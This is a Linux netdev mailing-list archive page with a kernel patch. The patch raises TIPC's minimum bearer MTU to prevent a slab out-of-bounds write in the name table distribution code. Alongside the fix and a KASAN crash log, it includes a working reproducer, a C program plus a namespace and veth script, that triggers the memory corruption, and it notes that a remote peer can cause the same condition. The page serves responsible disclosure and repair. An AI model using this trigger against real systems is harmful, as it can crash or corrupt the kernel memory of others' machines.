Netdev List
 help / color / mirror / Atom feed
From: Joas Antonio dos Santos <joasantonio108@gmail.com>
To: Jon Maloy <jmaloy@redhat.com>,
	Tung Quang Nguyen <tung.quang.nguyen@est.tech>
Cc: David S. Miller <davem@davemloft.net>,
	Eric Dumazet <edumazet@kernel.org>,
	Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
	Simon Horman <horms@kernel.org>,
	netdev@vger.kernel.org, tipc-discussion@lists.sourceforge.net
Subject: [PATCH net] tipc: raise the minimum bearer MTU to fit tunnel and crypto overhead
Date: Fri, 09 Oct 2026 09:53:14 -0300	[thread overview]
Message-ID: <179155039490.29136.3966310214361645960@gmail.com> (raw)

A peer can lower the link MTU to TIPC_MIN_BEARER_MTU (100 bytes, plus
the UDP encapsulation header) with the max_pkt field of a RESET or
ACTIVATE message; tipc_link_proto_rcv() only checks the lower bound
returned by tipc_bearer_min_mtu().  The same bound is applied to the
device MTU when a bearer is enabled.

That bound predates two later reductions of the link MSS:

  tipc_link_mss() = mtu - INT_H_SIZE                    (tunnel header)
                         - EMSG_OVERHEAD               (CONFIG_TIPC_CRYPTO)

With CONFIG_TIPC_CRYPTO=y, which is the default, an MTU of 100 gives an
MSS of 28.  Once the link comes up, tipc_named_node_up() calls
named_distribute(), which computes

  msg_dsz = ((tipc_node_get_mtu() - INT_H_SIZE) / ITEM_SIZE) * ITEM_SIZE;

For an MSS of 28 the subtraction is negative and the result truncates to
0xfffffff0; for an MSS between 40 and 59 it is 0.  named_prepare_buf()
then allocates a buffer with no room for any item (the u32 size wraps),
and msg_rem never reaches zero, so every cluster-scope publication on
the node is written with publ_to_item() past the end of that one skb,
over skb_shared_info and into adjacent memory.

Without crypto the MSS is at least 60, which still does not hold the
first fragment built by tipc_msg_build(): INT_H_SIZE fragment header
plus a message header of up to MAX_H_SIZE.  With pktmax below that, the
header copies run past the pktmax bytes allocated for the fragment.

Raise the minimum so the MSS can always hold INT_H_SIZE + MAX_H_SIZE,
which also leaves room for name table items: MAX_H_SIZE + 2 * INT_H_SIZE,
plus EMSG_OVERHEAD when crypto is enabled.  EMSG_OVERHEAD is defined in
crypto.h, which bearer.h cannot include, so the value is spelled out and
checked with BUILD_BUG_ON() in tipc_bearer_min_mtu().

Found by manual code review, assisted by an LLM, and reproduced with
KASAN using two network namespaces joined by a veth pair (see below).

Fixes: fc1b6d6de220 ("tipc: introduce TIPC encryption & authentication")
Fixes: 2320bcdae628 ("tipc: fix changeover issues due to large packet")
Signed-off-by: Joas Antonio dos Santos <joasantonio108@gmail.com>
Assisted-by: Claude:claude-opus-5-5
---
Reproduced on 602042bf29f6 (arm64, QEMU, KASAN, CONFIG_TIPC_CRYPTO=y)
with two network namespaces joined by a veth pair.  Node A binds 40
cluster-scope services, node B enables its bearer on a veth with MTU 100,
so A negotiates a link MTU of 100 (a remote peer can do the same with
max_pkt=100 in RESET/ACTIVATE).  As soon as the link comes up:

  BUG: KASAN: slab-out-of-bounds in publ_to_item+0x23c/0x288
  Write of size 4 at addr fff000001036ad00 by task ksoftirqd/1/22
   publ_to_item+0x23c/0x288
   tipc_named_node_up+0x2b0/0x714
   tipc_node_write_unlock+0x330/0x44c
   tipc_rcv+0x94c/0x2188
   tipc_l2_rcv_msg+0x118/0x1f4
  Allocated by task 22:
   ...
   tipc_buf_acquire+0x24/0xd4
   named_prepare_buf+0x3c/0x1dc
   tipc_named_node_up+0x528/0x714
  The buggy address is located 0 bytes to the right of
   allocated 704-byte region [fff000001036aa40, fff000001036ad00)
  tipc: Too large msg, purging xmit list 1 11 0 860 100!
  Unable to handle kernel paging request at virtual address 001fe000022e18a9
  pc : kfree_skb_list_reason+0xa4/0x32c

The final oops is the purge freeing the frag_list pointer that the
overflow wrote into skb_shared_info.

With the patch: MTU 100 is refused at bearer enable ("MTU too low for
tipc bearer"); MTU 172 and 1500 bring the link up with no KASAN report.
Builds cleanly with W=1 with and without CONFIG_TIPC_CRYPTO.
This was first reported to security@kernel.org; Tung Nguyen reproduced
it with the reproducer below and asked for the patch to go to netdev.

Reproducer (as root, CONFIG_TIPC=y, CONFIG_TIPC_CRYPTO=y; build with
"gcc -Wall -O2 -o pub pub.c", run "sh tipc_repro.sh"):

pub.c:

  /* Bind N TIPC services with cluster scope, then sleep. */
  #include <linux/tipc.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <sys/socket.h>
  #include <unistd.h>

  int main(int argc, char **argv)
  {
  	int n = argc > 1 ? atoi(argv[1]) : 40;
  	for (int i = 0; i < n; i++) {
  		struct sockaddr_tipc a = {
  			.family = AF_TIPC,
  			.addrtype = TIPC_SERVICE_RANGE,
  			.scope = TIPC_CLUSTER_SCOPE,
  			.addr.nameseq = { .type = 1000 + i, .lower = 0, .upper = 0 },
  		};
  		int s = socket(AF_TIPC, SOCK_RDM, 0);
  		if (s < 0 || bind(s, (struct sockaddr *)&a, sizeof(a))) {
  			perror("tipc bind");
  			return 1;
  		}
  	}
  	printf("pub: bound %d cluster-scope services\n", n);
  	fflush(stdout);
  	pause();
  	return 0;
  }

tipc_repro.sh:

  #!/bin/sh
  # TIPC named_distribute() overflow reproducer.
  # Needs root, CONFIG_TIPC=y, CONFIG_TIPC_CRYPTO=y (default), KASAN recommended.
  # Usage: ./tipc_repro.sh [peer_mtu]   (default 100; 100..131 trigger it)
  PEER_MTU=${1:-100}

  ip netns add A
  ip netns add B
  ip link add va type veth peer name vb
  ip link set va netns A
  ip link set vb netns B
  ip -n A link set lo up
  ip -n B link set lo up
  ip -n A link set va mtu 1500 up
  ip -n B link set vb mtu "$PEER_MTU" up

  # node A: 40 cluster-scope publications (any number >= 1 overflows;
  # more publications write further past the buffer)
  ip netns exec A ./pub 40 &
  sleep 2

  # node A uses MTU 1500, node B uses PEER_MTU; the link MTU is
  # negotiated down to PEER_MTU, the link MSS becomes PEER_MTU - 72
  ip netns exec A tipc bearer enable media eth dev va
  ip netns exec B tipc bearer enable media eth dev vb

  # the overflow happens in tipc_named_node_up() as soon as the link
  # comes up (a few seconds)
  sleep 20
  dmesg | grep -A30 -E "KASAN|BUG:|Oops"

This edits the lines next to the ones touched by Yunpeng Tian's
"tipc: bound the device MTU accepted ..." (upper bound, posted
2026-10-03).  The two are independent; I can rebase on top of it if
that one is applied first.

tipc_msg_build() / named_distribute() could also get local sanity
checks; I kept this to the MTU floor so there is one fix point.

 net/tipc/bearer.c |  4 ++++
 net/tipc/bearer.h | 16 ++++++++++++++--
 2 files changed, 18 insertions(+), 2 deletions(-)

diff --git a/net/tipc/bearer.c b/net/tipc/bearer.c
index 05dcd2f9e..bcf031fdd 100644
--- a/net/tipc/bearer.c
+++ b/net/tipc/bearer.c
@@ -549,6 +549,10 @@ int tipc_bearer_min_mtu(struct net *net, u32 bearer_id)
 	int mtu = TIPC_MIN_BEARER_MTU;
 	struct tipc_bearer *b;
 
+#ifdef CONFIG_TIPC_CRYPTO
+	BUILD_BUG_ON(TIPC_MIN_BEARER_MTU !=
+		     MAX_H_SIZE + 2 * INT_H_SIZE + EMSG_OVERHEAD);
+#endif
 	rcu_read_lock();
 	b = bearer_get(net, bearer_id);
 	if (b)
diff --git a/net/tipc/bearer.h b/net/tipc/bearer.h
index 41eac1ee0..b99dcd23c 100644
--- a/net/tipc/bearer.h
+++ b/net/tipc/bearer.h
@@ -60,8 +60,20 @@
 #define TIPC_MEDIA_TYPE_IB	2
 #define TIPC_MEDIA_TYPE_UDP	3
 
-/* Minimum bearer MTU */
-#define TIPC_MIN_BEARER_MTU	(MAX_H_SIZE + INT_H_SIZE)
+/* Minimum bearer MTU
+ *
+ * The link MSS (see tipc_link_mss()) is the MTU minus a tunnel header
+ * (INT_H_SIZE) and, with encryption, minus EMSG_OVERHEAD (32 bytes, checked
+ * in tipc_bearer_min_mtu()).  The MSS must still hold a fragment header
+ * (INT_H_SIZE) followed by the largest message header (MAX_H_SIZE), which is
+ * what tipc_msg_build() puts in the first fragment, and leaves room for at
+ * least one name table item in named_distribute().
+ */
+#ifdef CONFIG_TIPC_CRYPTO
+#define TIPC_MIN_BEARER_MTU	(MAX_H_SIZE + 2 * INT_H_SIZE + 32)
+#else
+#define TIPC_MIN_BEARER_MTU	(MAX_H_SIZE + 2 * INT_H_SIZE)
+#endif
 
 /* Identifiers for distinguishing between broadcast/multicast and replicast
  */

                 reply	other threads:[~2026-10-09 12:53 UTC|newest]

Thread overview: [no followups] expand[flat|nested]  mbox.gz  Atom feed

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=179155039490.29136.3966310214361645960@gmail.com \
    --to=joasantonio108@gmail.com \
    --cc=davem@davemloft.net \
    --cc=edumazet@kernel.org \
    --cc=horms@kernel.org \
    --cc=jmaloy@redhat.com \
    --cc=kuba@kernel.org \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=tipc-discussion@lists.sourceforge.net \
    --cc=tung.quang.nguyen@est.tech \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox